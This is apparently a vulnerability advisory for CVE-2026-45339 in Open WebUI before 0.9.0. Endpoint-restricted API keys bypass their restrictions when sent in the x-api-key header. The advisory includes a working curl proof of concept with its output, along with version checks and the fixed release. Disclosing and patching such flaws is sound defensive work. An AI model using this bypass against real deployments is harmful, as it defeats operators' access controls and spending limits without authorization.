---
id: "CVE-2026-45339"
kind: "vulnerability"
aliases: ["CVE-2026-45339", "GHSA-57q6-fvp4-pqmm"]
title: "Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header \u2014 full message processing on restricted endpoints"
severity: "medium"
cvss: 6.5
epss: 0.00309
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "open-webui", "fixed": ["0.9.0"], "affected": "< 0.9.0", "ecosystem": "pypi"}, {"name": "openwebui open webui", "fixed": ["0.9.0"], "affected": "< 0.9.0", "ecosystem": "vendor"}]
ecosystems: ["pypi", "vendor"]
tags: ["ai-tooling", "api-keys", "cwe-863", "open-webui", "python", "self-hosted"]
not_affected_if: ["no-api-keys-issued", "no-endpoint-restrictions"]
published_at: "2026-05-14T20:21:26+00:00"
first_seen_at: "2026-11-03T21:52:03+00:00"
updated_at: "2026-11-03T22:07:19+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-57q6-fvp4-pqmm", "first_seen_at": "2026-11-03T21:52:03+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45339", "first_seen_at": "2026-11-03T22:07:19+00:00"}]
---

# Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints

Open WebUI API keys with endpoint restrictions can be used to reach restricted endpoints by sending the key in the x-api-key header instead of Authorization. The request is authenticated and the model responds, so the operator's access limits do not apply.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:open-webui affected < 0.9.0 fixed 0.9.0
- vendor:openwebui open webui affected < 0.9.0 fixed 0.9.0

## How to check

- Check the installed version: `pip show open-webui` and confirm it is below `0.9.0`.
- Look for API keys with endpoint restrictions in the admin settings and test whether a restricted endpoint such as `/api/v1/messages` returns 200 when the key is sent via `x-api-key`.

## Fix

- `open-webui` `0.9.0` (fixed version per the advisory product range)

## Timeline

- 2026-11-03T21:52:03+00:00 ghsa https://github.com/advisories/GHSA-57q6-fvp4-pqmm
- 2026-11-03T22:07:19+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-45339

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/open-webui/open-webui/security-advisories/GHSA-57q6-fvp4-pqmm
- [advisory] Maintainer's advisory: github.com https://github.com/open-webui/open-webui/security/advisories/GHSA-57q6-fvp4-pqmm
- [fix] Release: github.com https://github.com/open-webui/open-webui/releases/tag/v0.9.0

## From the sources

### Summary

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from `/api/v1/messages`, requests using the `Authorization: Bearer sk-...` header are correctly blocked with 403. However, the same key sent via the `x-api-key` header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

### Details

Open WebUI's Anthropic-compatible API path accepts authentication via `x-api-key` header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the `Authorization` header. When the same `sk-...` key is supplied in `x-api-key`, the restriction check is skipped but the key is still valid for authentication.

This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using `x-api-key` instead of `Authorization`.

### PoC

**Verified against Open WebUI v0.8.11.**

**Setup:** Admin creates a user with an API key that has endpoint restrictions (not allowed on `/api/v1/messages`). A mock OpenAI-compatible model (`mock-model`) is configured.

```bash
API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"

# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "Authorization: Bearer $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "x-api-key: $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'
```

**Verified output:**

```
# Authorization header:
{"detail":"API key not allowed to access this endpoint."}

# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}
```

The same API key is rejected via `Authorization` (403) but fully processed via `x-api-key` (200 with model response).

### Impact

Any API key with endpoint restrictions can bypass those restrictions by using the `x-api-key` header instead of `Authorization`. This undermines the entire API key permission model:

- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses
- Keys restricted from admin endpoints may access admin functionality
- The operator's intended access control is silently ineffective
- API credit spend cannot be controlled through endpoint restrictions

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
